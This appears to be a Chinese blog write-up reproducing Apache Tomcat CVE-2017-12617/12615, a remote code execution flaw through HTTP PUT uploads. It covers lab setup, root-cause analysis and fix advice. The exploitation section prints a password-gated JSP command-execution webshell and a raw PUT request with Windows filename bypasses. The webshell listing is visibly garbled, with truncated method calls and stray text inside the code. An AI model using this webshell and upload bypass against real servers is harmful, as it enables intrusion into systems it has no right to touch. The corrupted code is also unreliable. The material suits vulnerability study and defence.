cve-2017-12617tomcat远程代码执⾏漏洞复现测试
0x00前情提要
Apache Tomcat团队10⽉3⽇宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执⾏代码(RCE)漏洞,CVE-2017-12617:远程代码执⾏漏洞。
只需参数readonly设置为false或者使⽤参数readonly设置启⽤WebDAV servlet false。此配置将允许任何未经⾝份验证的⽤户上传⽂件(如WebDAV中所使⽤的)。发现并阻⽌上传JavaServer Pages(.jsp)的过滤器可以避免这个问题。所以只要JSP可以上传,然后就可以在服务器上执⾏。
现在,由于此功能通常不需要,所以⼤多数公开曝光的系统将不会readonly设置false并因此不受影响。
在WindowsCVE-2017-12615的 Tomcat 7中,类似的漏洞被修复后,前⼏天⼜发现了这个安全问题(CVE-2017-12617)。
2017年9⽉19⽇,Apache Tomcat官⽅确认并修复了两个⾼危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在⼀定条件下,攻击者可以利⽤这两个漏洞,获取⽤户服务器上 JSP ⽂件的源代码,或是通过精⼼构造的攻击请求,向⽤户服务器上传恶意JSP⽂件,通过
上传的 JSP ⽂件 ,可在⽤户服务器上执⾏任意代码,从⽽导致数据泄露或获取服务器权限,存在⾼安全风险。
CVE-2017-12616:信息泄露漏洞
当 Tomcat 中使⽤了 VirtualDirContext 时,攻击者将能通过发送精⼼构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext 提供⽀持资源的 JSP 源代码。
CVE-2017-12615:远程代码执⾏漏洞
当 Tomcat 运⾏在 Windows 主机上,且启⽤了 HTTP PUT 请求⽅法(例如,将readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精⼼构造的攻击请求向服务器上传包含任意代码的 JSP ⽂件。之后,JSP ⽂件中的代码将能被服务器执⾏。
通过以上两个漏洞可在⽤户服务器上执⾏任意代码,从⽽导致数据泄露或获取服务器权限,存在⾼安全风险。
影响版本:
CVE-2017-12617影响范围:Apache Tomcat 7.0.0 - 7.0.81
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79
参考链接:
CVE-2017-12615:
0x01漏洞利⽤
该是作为发送特殊特制HTTP,使⽤PUT作为有效载荷⽤JSP请求到Tomcat服务器。
然后,当通过HTTP客户端(例如Web浏览器)访问新上传的JSP时,执⾏代码。
⾸先搭建tomcat环境,需要预装下jdk,安装流程和配置参考:
安装好后,修改 D:\ProgramFiles\Apache Software Foundation\Tomcat 7.0\l 配置⽂件,增加 readonly 设置为false ,⼀定要记得重启下tomcat服务。
然后使⽤burpsuite抓包把GET⽅法转为PUT⽅法,后⾯加test.jsp⽂件的内容然后发送
POC如下:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c)
{
StringBuilder line = new StringBuilder();
try
{
Process pro = Runtime().exec(c);
BufferedReader buf = new BufferedReader(new InputStream()));
String temp = null;
while ((temp = adLine()) != null)
{
line.append(temp+"\\n");
}
buf.close();
}
catch (Exception e)
{
line.Message());
}
String();
}
cve漏洞库%>
<%
if("023".Parameter("pwd"))&&!"".Parameter("cmd")))
{
out.println("<pre>"+Parameter("cmd"))+"</pre>");
}
else
{
out.println(":-)");
}
%>
注意:PUT路径要⽤/结束,写⼊成功后,会返回201或者200,如果返回404说明没有写/。
不能直接put jsp或者jspx⽂件的,在windows下可以⽤test.jsp/、test.jsp/.、test.jsp::$DATA来绕过
经过测试,最新版apache-tomcat-7.0.81可以⽤test.jsp/、test.jsp/.来绕过
PUT /test.jsp/ HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 25
<%out.println("test");%>
写⼊成功后,在服务器的 web⽬录,如下
D:\Program Files\Apache SoftwareFoundation\Tomcat 7.0\webapps\ROOT增加了test.jsp⽂件
0x02原理分析
Tomcat 的 Servlet 是在 l 配置的,通过配置⽂件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的:
⽽其他的静态⽂件是通过 DefaultServlet 处理的:
可以得知,“1.jsp ”(末尾有⼀个和空格)并不能匹配到 JspServlet,⽽是会交由 DefaultServlet 去处理。当处理 PUT 请求时:
会调⽤ resources.bind:
dirContext 为 FileDirContext:
调⽤ rebind 创建⽂件:
⼜由于 Windows 不允许“ ”作为⽂件名结尾,所以会创建⼀个 .jsp ⽂件,导致代码执⾏。
0x03参考资料:
0x04修复建议:
将Tomcat更新到该漏洞被修复的版本(例如,Tomcat 8.5.23)只能防⽌攻击者上传JSP。
但是readonlyinit-param不应该将false⾸先设置。如果此参数保留到默认(true),则攻击者⽆法上传⽂件。另外,当然也可以在前端(例如WAF)上阻⽌PUT和DELETE请求。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论